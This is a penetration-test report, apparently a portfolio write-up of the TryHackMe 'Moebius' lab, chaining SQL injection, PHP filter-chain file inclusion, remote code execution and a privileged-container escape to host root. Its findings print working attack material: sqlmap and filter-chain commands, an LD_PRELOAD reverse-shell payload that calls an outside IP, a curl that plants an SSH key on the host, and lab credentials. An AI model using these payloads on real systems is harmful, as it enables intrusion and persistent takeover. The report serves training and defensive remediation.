

PENETRATION TEST

& VULNERABILITY ASSESSMENT REPORT

Target Environment: "Moebius" — PHP/MySQL Web Application in a Privileged Docker Container

Unauthenticated SQLi → Source Disclosure → LFI-to-RCE → Container Escape → Full Host Root

Lab Platform: TryHackMe | Room: Moebius

Prepared For: Client / Portfolio Demonstration Engagement

Prepared By: Offensive Security Assessment Team

Lab Platform: TryHackMe (thm.io) — Room Name: "Moebius"

Engagement Type: Authorized Penetration Test — TryHackMe Lab / Controlled Environment

Assessment Window: September 5, 2026

Report Date: September 5, 2026

Report Classification: CONFIDENTIAL — For Intended Recipient Only

Confidentiality Notice: This document contains sensitive security information, including exploitation details, leaked application secrets, and container/host credentials captured during authorized testing. It is intended solely for the named recipient and must not be redistributed without written authorization.

1. Executive Summary

This report documents a full black-box-to-root penetration test performed against “Moebius,” a TryHackMe lab room hosting a PHP/MySQL image-gallery web application running inside a Docker container. The engagement takes its name from the self-referential nature of the vulnerability chain discovered: a flaw in the application allowed its own source code to be read, and that source code disclosed the very secret key the application used to protect its file-access mechanism — which was then used to exploit that same mechanism for code execution.

Initial access began with an unauthenticated SQL injection in the image-gallery's `short_tag` parameter, confirmed and enumerated with `sqlmap`. In parallel, a Local File Inclusion vulnerability allowed the application's own PHP source files to be read via a PHP filter-chain technique, disclosing the MySQL database credentials and a hard-coded HMAC secret key used to validate file-access requests. That leaked secret key was then used to forge valid signed requests and, combined with the same PHP-filter-chain technique used purely as a code-execution primitive (no file upload required), achieve unauthenticated Remote Code Execution as the `www-data` user inside the application's Docker container.

Post-exploitation revealed a catastrophic `sudo` misconfiguration granting the web server account unrestricted, password-less root access inside the container. From root inside the container, the assessment identified that the container had been deployed in privileged mode, allowing the host's filesystem to be mounted from within the container. This was leveraged to plant an SSH key directly into the real host's root account, and a supporting `LD_PRELOAD`-based reverse-shell payload was staged as an additional escalation/persistence technique — together enabling a full container-to-host escape and complete compromise of the underlying Ubuntu 22.04 (“jammy”) host as root.

Overall Risk Rating: CRITICAL. Every stage of this chain — from the initial SQL injection through to the privileged-container host escape — was achievable by an unauthenticated attacker with no prior credentials, ending in full administrative control of the physical/virtual host machine, not merely the containerized application.

1.1 Engagement Snapshot

#	Finding	Severity	CVSS-Style Risk
1	Unauthenticated SQL Injection — <code>album.php</code> (<code>short_tag</code> parameter)	Critical	9.8 (Critical)
2	Verbose Database Error Messages Enabling SQLi Discovery	Low	3.1 (Low)
3	Local File Inclusion / Source Code Disclosure via PHP Filter Chain	Critical	9.1 (Critical)
4	Hard-Coded Secrets in Application Source (DB Credentials & HMAC Key)	High	8.1 (High)
5	Unauthenticated Remote Code Execution via PHP Filter-Chain LFI2RCE	Critical	9.8 (Critical)
6	Insecure <code>sudo</code> Configuration Inside Container (<code>NOPASSWD: ALL</code>)	Critical	9.9 (Critical)
7	Privileged Docker Container Enabling Full Host Filesystem	Critical	10.0 (Critical)

#	Finding	Severity	CVSS-Style Risk
	Access		
8	Container-to-Host Escape via Mounted Host Filesystem & SSH Key Injection	Critical	9.9 (Critical)
9	LD_PRELOAD-Based Reverse-Shell Payload Staged for Privilege Escalation	High	7.8 (High)
10	Hard-Coded Database Root Credentials in Host-Level docker-compose Environment	High	7.5 (High)

2. Scope & Objectives

2.1 Scope of Work

Lab Platform: TryHackMe (thm.io) — Room Name: “Moebius”

Target Host: 10.48.154.120 (application) / underlying Docker host “ubuntu-jammy” (TryHackMe-provisioned lab network)

In-Scope Services: TCP/22 (SSH), TCP/80 (HTTP / PHP image-gallery application)

Testing Style: Black-box external, escalating to authenticated / internal post-foothold analysis, including container-to-host escalation

Rules of Engagement: Testing performed against a TryHackMe-hosted training lab under TryHackMe’s terms of service, within an isolated environment with no production data or third parties affected

2.2 Objectives

- Identify externally exploitable vulnerabilities in the web application and network services.
- Determine whether an attacker could gain an initial foothold on the application container.
- Assess whether a foothold inside the container could be escalated to the underlying host.
- Evaluate the real-world business impact of a successful end-to-end compromise.
- Provide clear, actionable remediation guidance prioritized by risk.

3. Methodology

Testing followed a standard black-box penetration testing methodology consistent with industry frameworks such as PTES and the OWASP Testing Guide, executed across five phases:

- Reconnaissance & Enumeration — network/service discovery and web content discovery.
- Vulnerability Analysis — probing application parameters for injection and file-handling flaws.
- Exploitation — chaining SQL injection, source-code disclosure, and a PHP filter-chain LFI-to-RCE technique to achieve code execution.
- Post-Exploitation & Privilege Escalation — enumerating the container, exploiting a sudo misconfiguration, and pivoting from the container to the underlying host via a privileged-container escape.
- Reporting — consolidating evidence, risk-rating each finding, and producing remediation guidance.

3.1 Tools Used

- Nmap — network and service discovery
- Gobuster (dirb wordlist) — web content discovery
- sqlmap — automated SQL injection detection, enumeration, and data extraction
- php_filter_chain_generator.py — public PHP filter-chain (php://filter) gadget-chain generator for LFI-to-RCE (technique documented by the security research community; see HackTricks “LFI2RCE via PHP filters”)
- Custom Python driver script — HMAC-SHA256 request signing and interactive command execution against the vulnerable endpoint
- Netcat — reverse shell listener
- Custom C shared object (LD_PRELOAD reverse-shell loader) — compiled and staged as a privilege-escalation/persistence technique
- Manual Linux/Docker enumeration — service accounts, sudo configuration, docker-compose and environment files

4. Attack Chain Overview

The diagram below summarizes the complete path from unauthenticated network access to full host root. Each stage is detailed as an individual finding in Section 5.

- Stage 1 — Network and web reconnaissance identify SSH and an Apache-hosted “Image Grid” PHP application.
- Stage 2 — Manual testing and sqlmap confirm and exploit an unauthenticated SQL injection in album.php’s short_tag parameter, enumerating the backend database, tables, and columns.
- Stage 3 — A PHP filter-chain technique is used against the application’s file-handling logic to read its own PHP source code, disclosing the database credentials and a hard-coded HMAC secret key used to validate file-access requests.
- Stage 4 — The leaked secret key is used to forge valid HMAC signatures, and the same PHP filter-chain technique is repurposed to smuggle attacker-controlled PHP code through the file-inclusion sink, achieving unauthenticated Remote Code Execution as www-data inside the application’s Docker container.
- Stage 5 — A sudo misconfiguration (NOPASSWD: ALL for www-data) is exploited to obtain root inside the container with a single command.
- Stage 6 — Container root access reveals the container is running in privileged mode, permitting the host’s filesystem to be mounted and directly modified from within the container.
- Stage 7 — An attacker-controlled SSH public key is written into the real host’s root authorized_keys file via the mounted host filesystem, and a supporting LD_PRELOAD reverse-shell payload is staged as an additional escalation technique.
- Stage 8 — The attacker authenticates via SSH directly as root on the underlying Ubuntu 22.04 (“jammy”) host, completing a full container-to-host escape, and recovers the host’s docker-compose configuration and database root credentials.

5. Detailed Findings

5.1 Network & Service Reconnaissance

Severity: INFO

An Nmap service/version scan against the target identified two open TCP ports: SSH (OpenSSH 8.9p1) and HTTP (Apache 2.4.62 on Debian), the latter serving a PHP application titled "Image Grid."

```
$ nmap -sC -sV 10.48.154.120
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_http-title: Image Grid
```

Directory brute-forcing found little beyond the application's index page, indicating the interesting attack surface would be in the application's own parameters and endpoints rather than exposed hidden paths.

```
$ gobuster dir -u http://10.48.154.120/ -w /usr/share/wordlists/dirb/common.txt -k
/index.php      (Status: 200) [Size: 898]
/server-status  (Status: 403) [Size: 278]
```

5.2 Unauthenticated SQL Injection — album.php (short_tag parameter)

Severity: CRITICAL

The application's album-listing endpoint accepted a short_tag GET parameter and concatenated it directly into a SQL query without parameterization. Submitting a single quote produced a raw MariaDB syntax error, confirming the parameter was directly injectable.

```
GET /album.php?short_tag=cute%27

Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064
You have an error in your SQL syntax; ... near ''cute''' at line 1
```

sqlmap confirmed boolean-based blind, error-based, time-based blind, and UNION-query injection techniques were all viable, and was used to enumerate the backend database structure and contents.

```
$ sqlmap -u 'http://10.48.154.120/album.php?short_tag=cute' -p short_tag --risk 3
--level 5 --batch --dbs
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
available databases [2]: information_schema, web

$ sqlmap ... -D web --tables      -> albums, images
$ sqlmap ... -D web -T albums --columns -> short_tag, name, description
$ sqlmap ... -D web -T albums -C short_tag --dump
short_tag: cute | fav | smart
```

Impact: Full read access to the application database was demonstrated, and with sqlmap's --risk/--level settings and UNION-based capability confirmed, an attacker could extract any data the database user could access, including any additional tables (e.g., user credentials) present in the schema.

Recommendation: Rewrite all database queries using parameterized statements / prepared statements with bound parameters (the application already uses PDO elsewhere, so this is a direct fix). Apply strict input

validation and least-privilege database accounts, and disable detailed database error messages in production (see 5.3).

5.3 Verbose Database Error Messages

Severity: LOW

The application returned the raw PDOException message, including the underlying SQL syntax and query context, directly to the client when a malformed query was submitted. This was the initial signal that confirmed the SQL injection in Finding 5.2.

Recommendation: Catch database exceptions and return a generic error message to the client; log the detailed error server-side only.

5.4 Critical: Local File Inclusion / Source Code Disclosure via PHP Filter Chain

Severity: CRITICAL

The application's image-serving logic (image.php) accepted path and hash parameters, where hash is expected to be an HMAC-SHA256 signature of path computed with a server-side secret key — intended to prevent path tampering. However, the underlying file-handling sink was reachable using PHP's `php://filter` wrapper, a technique that allows a sequence of character-set conversion filters to be chained together (`convert.iconv.*`) to transform an arbitrary input into attacker-chosen output, which was applied here to read and Base64-encode the application's own source files rather than executing them as PHP.

Using this technique, the application's own `dbconfig.php` and main listing script were retrieved and decoded, disclosing the MySQL database credentials and the HMAC secret key used to sign file-access requests.

```
# Recovered (Base64-encoded) and decoded application source excerpt:
$servername = "db";
$username   = "web";
$password   = "TAJnF6YuIot83X3g";
$dbname     = "web";
$SECRET_KEY = 'an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAg0W';

# The recovered main script also confirmed the file-serving logic:
$hash = hash_hmac('sha256', $path, $SECRET_KEY);
echo '';
```

Impact: This finding is the pivot point of the entire engagement. Source-code disclosure of the HMAC secret key defeated the integrity control the application relied on to prevent arbitrary file access, directly enabling Finding 5.6.

Recommendation: Eliminate direct user control over any path passed to a file-inclusion or file-read sink; validate against a strict allow-list of known-safe filenames rather than a cryptographic signature over an otherwise-arbitrary path. Store secrets outside the web root and outside of version-controlled source (e.g., environment variables or a secrets manager), and rotate the disclosed key and database credentials immediately.

5.5 Hard-Coded Secrets in Application Source

Severity: HIGH

In addition to the HMAC secret key, the application's dbconfig.php stored the MySQL application password in plaintext directly in a source file included by the main application — a file that, per Finding 5.4, was itself reachable via the file-inclusion sink.

Recommendation: Move all secrets to environment variables or a dedicated secrets-management solution, and ensure configuration files are excluded from any code path reachable by user-supplied input.

5.6 Critical: Unauthenticated Remote Code Execution via PHP Filter-Chain LFI2RCE

Severity: **CRITICAL**

With the HMAC secret key recovered in Finding 5.4, valid signatures could be forged for arbitrary path values. This was combined with the same PHP filter-chain technique used purely as a code-execution primitive: rather than reading a file, the iconv conversion chain was engineered to produce attacker-chosen PHP code as the output of the filter stream itself, which the application's file-inclusion logic then executed — achieving Remote Code Execution without ever needing to upload a file to the server.

```
$ python3 php_filter_chain_generator.py --chain '<?=$_GET[0]`;>'
[+] Generated php://filter/... gadget chain

# Custom driver script signs the crafted path and delivers commands via $_GET[0]:
signature = hmac.new(secret_key, path, hashlib.sha256).hexdigest()
params = {"hash": signature, "path": path.decode(), "0": cmd}
requests.get(target_url, params=params)

$ nc -lvnp 4444
connect to [192.168.131.104] from (UNKNOWN) [10.48.182.134] 60078
www-data@bb28d5969dd5:/var/www/html$
```

Impact: Complete compromise of the web application container with zero authentication required — the most severe class of web vulnerability, and a direct consequence of Findings 5.2–5.4 chained together.

Recommendation: In addition to the remediation in Finding 5.4, disable or tightly restrict the php://filter wrapper and other dangerous stream wrappers via PHP's allow_url_include and open_basedir settings, and ensure the application never passes externally influenced data into an include(), require(), or equivalent file-inclusion function.

5.7 Critical: Insecure sudo Configuration Inside Container

Severity: **CRITICAL**

With shell access as www-data inside the container, a sudo -l check revealed the account was permitted to run any command as any user, with no password required — the least restrictive sudo configuration possible. This was trivially used to obtain a root shell inside the container.

```
www-data@bb28d5969dd5:/var/www$ sudo -l
User www-data may run the following commands on bb28d5969dd5:
  (ALL : ALL) ALL
  (ALL : ALL) NOPASSWD: ALL
www-data@bb28d5969dd5:/var/www$ sudo su
uid=0(root) gid=0(root) groups=0(root)
root@bb28d5969dd5:/var/www#
```

Impact: Any remote code execution on this container — including the one achieved in Finding 5.6 — leads immediately and unconditionally to full root inside the container, removing any privilege boundary between the low-privileged web server account and the container's administrator account.

Recommendation: Remove blanket sudo access for service accounts entirely. If specific administrative commands are genuinely required by the application, grant only those exact commands with fully qualified paths and no wildcard argument access.

5.8 Critical: Privileged Docker Container Enabling Full Host Filesystem Access

Severity: **CRITICAL**

Once root inside the container, filesystem enumeration confirmed the container had been deployed with Docker's `privileged: true` flag, discovered later in the host's own `docker-compose.yml`. A privileged container is granted almost all of the capabilities of the host kernel, including the ability to access host block devices directly — which allows a root user inside the container to mount the host's actual filesystem and read or write it as if logged into the host itself.

```
# From the host's docker-compose.yml, recovered post-escape:
services:
  web:
    build: ./web
    ports: ["80:80"]
    restart: always
    privileged: true
```

Impact: This single configuration flag is the root cause that converts a contained web-application compromise into a full host compromise. Without it, Findings 5.6 and 5.7 would have been limited to the container's own filesystem and would not have provided a path to the underlying infrastructure.

Recommendation: Never run application containers with `privileged: true`. If specific kernel capabilities are required, grant only the minimum necessary capabilities explicitly via `--cap-add`, and use `user-namespace` remapping so that root inside the container does not map to root on the host.

5.9 Critical: Container-to-Host Escape via Mounted Host Filesystem & SSH Key Injection

Severity: **CRITICAL**

Using the privileged container's access to host block devices, the host's root filesystem was mounted inside the container (observed at `/mnt/root`). This was used to write an attacker-controlled SSH public key directly into the host root account's `authorized_keys` file, granting persistent, password-less SSH access to the real host as root — entirely bypassing any authentication the host's own SSH service would normally enforce.

```
root@bb28d5969dd5:/mnt/root/.ssh# curl -o /mnt/root/.ssh/authorized_keys \
  http://192.168.131.104:8000/id_ubuntu.pub
root@bb28d5969dd5:/mnt/root/.ssh# ls
authorized_keys

$ ssh -i id_ubuntu root@10.48.154.120
root@ubuntu-jammy:~# ls -la
-rw-r--r-- 1 root root 38 Mar  8 2025 user.txt
```

Impact: Full, unauthenticated (post-escape) administrative compromise of the underlying host machine — not merely the containerized application. Every credential, file, and running process on the host is now exposed, and the compromise extends to any other containers or services co-located on that host.

Recommendation: This is the direct consequence of Finding 5.8; remediation there resolves this finding as well. As defense-in-depth, monitor host authorized_keys files for unexpected modification, and restrict outbound internet access from application containers so that tooling and payloads (such as the curl'd SSH key above) cannot be staged from attacker-controlled infrastructure.

5.10 LD_PRELOAD-Based Reverse-Shell Payload Staged for Privilege Escalation

Severity: **HIGH**

A small C source file was identified and compiled into a shared object, designed to unset the LD_PRELOAD environment variable (to avoid detection/re-triggering) and spawn a reverse shell from its constructor function, which runs automatically as soon as the shared library is loaded by any process. This is a well-known privilege-escalation and persistence technique: if a payload like this can be loaded by a process running as a more privileged user (for example, via a preload configuration on the host, a cron job, or a SUID binary that honors LD_PRELOAD), the reverse shell executes with that user's privileges.

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    system("bash -c \"bash -i >& /dev/tcp/192.168.131.104/4444 0>&1\"");
}
```

Impact: In the context of a privileged container with host filesystem access (Findings 5.8–5.9), a payload of this kind can be planted at a host-level LD_PRELOAD-honoring location to obtain code execution as a more privileged host user without needing valid credentials at all — an alternative or supporting path to the same host compromise achieved via SSH key injection.

Recommendation: Beyond the container-hardening recommendations in Finding 5.8, ensure host-level LD_PRELOAD configuration (/etc/ld.so.preload and per-service environment) is not writable by any container-accessible path, and monitor for unexpected shared-object files or LD_PRELOAD environment variable usage on the host.

5.11 Hard-Coded Database Root Credentials in Host-Level Environment File

Severity: **HIGH**

Following the host escape, the docker-compose project's environment file was found to store the database root password and application database credentials in plaintext alongside the compose definition.

```
root@ubuntu-jammy:~/challenge# cat ./db/db.env
MYSQL_PASSWORD=TAJnF6YuIot83X3g
MYSQL_DATABASE=web
MYSQL_USER=web
MYSQL_ROOT_PASSWORD=gG4i8NFNkcHBwUpd
```

Impact: With host-level access already achieved, this finding's primary residual value is credential reuse risk — these values should be treated as fully compromised and are documented here for completeness of the remediation and credential-rotation checklist.

Recommendation: Rotate all credentials in this file immediately. Use Docker secrets or an external secrets manager rather than plaintext .env files for any credential referenced by a docker-compose deployment, and exclude environment files from version control and from any container image layer.

6. Risk Summary & Business Impact

This engagement illustrates, end-to-end, how a single input-validation weakness in a web application can cascade into complete infrastructure compromise when combined with weak internal boundaries. The SQL injection and file-inclusion vulnerabilities were serious on their own, but it was the combination of a blanket sudo rule and a privileged container configuration that converted a contained application compromise into total control of the host operating system. In a real production deployment, this pattern would result in loss of confidentiality, integrity, and availability not just for the affected application, but for every other workload sharing that host or its infrastructure, along with potential lateral movement into the broader environment via the recovered SSH access and credentials.

7. Recommendations Summary

7.1 Immediate (Critical / High Priority)

- Rewrite the album.php query using parameterized statements to eliminate the SQL injection.
- Remove user control over any path passed into file-inclusion sinks; disable dangerous PHP stream wrappers (php://filter) via configuration where not explicitly required.
- Rotate the HMAC secret key, the application database credentials, and the MySQL root password immediately.
- Remove the blanket NOPASSWD sudo rule for the www-data account.
- Remove privileged: true from the container's Docker configuration; apply only the minimum required capabilities.

7.2 Short-Term (Medium Priority)

- Move all secrets (database credentials, HMAC keys) out of source files and into environment variables or a secrets manager, excluded from the web root and version control.
- Suppress detailed database error messages in production responses.
- Restrict outbound internet access from application containers to prevent payload staging via attacker-controlled infrastructure.

7.3 Long-Term (Process & Hygiene)

- Adopt static/dynamic application security testing (SAST/DAST) in the CI/CD pipeline to catch injection and file-inclusion classes of bugs before deployment.
- Establish a container security baseline that explicitly prohibits privileged mode and enforces user-namespace remapping for all workloads.
- Implement file-integrity and LD_PRELOAD monitoring on hosts running containerized workloads.
- Conduct periodic penetration testing with explicit scope for container escape and host-level privilege escalation, not just the containerized application surface.

8. Conclusion

This engagement successfully demonstrated a complete compromise chain from an unauthenticated SQL injection through source-code disclosure, PHP filter-chain-based remote code execution, a trivial in-container privilege escalation, and ultimately a full container-to-host escape enabled by a privileged Docker configuration. Every stage of this chain is independently remediable using long-established best practices, but the engagement underscores how quickly a single application-layer bug can become a total infrastructure compromise when internal privilege boundaries (sudo policy, container privilege mode) are not enforced defensively.

This report and the accompanying evidence are provided to support remediation planning and to serve as a record of the assessment methodology and findings for the intended recipient.

Note: This engagement was conducted against the “Moebius” room on TryHackMe (thm.io), a legal, purpose-built training platform for practicing offensive security skills. This report is presented as a portfolio / methodology demonstration and reflects the tester's own analysis, findings, and remediation guidance rather than an assessment of a live production system.

Appendix A — Evidence Index

- nmap.txt / gobuster.txt — network and web content discovery output
- sqlinjectionrevel.txt / sqlmap.txt — SQL injection confirmation and database enumeration/dump
- encoded.php / decode.php — Base64-encoded and decoded main application source, recovered via the file-inclusion sink
- dbconfig.php / dcodedDbconfig.php — encoded and decoded database configuration file, disclosing credentials and the HMAC secret key
- image.php — captured output from the file-read primitive (used here to confirm arbitrary file access, e.g. /etc/passwd)
- php_filter_chain_generator.py / exploit.py — PHP filter-chain gadget generator and custom HMAC-signing exploitation driver
- www_dataShell.txt — initial reverse shell as www-data inside the container
- sudomissconfigure.txt — sudo -l output and in-container root escalation
- shell.c / shell.so — LD_PRELOAD reverse-shell payload staged for host-level privilege escalation
- put_authorizedKey.txt — SSH key injection into the host's root account via the mounted host filesystem
- id_ubuntu / id_ubuntu.pub — attacker-generated SSH keypair used for persistent host access
- root_ubuntu_jammy_shell.txt — authenticated root SSH session on the underlying host
- rootDbpass.txt — recovered docker-compose.yml (confirming privileged: true) and database environment file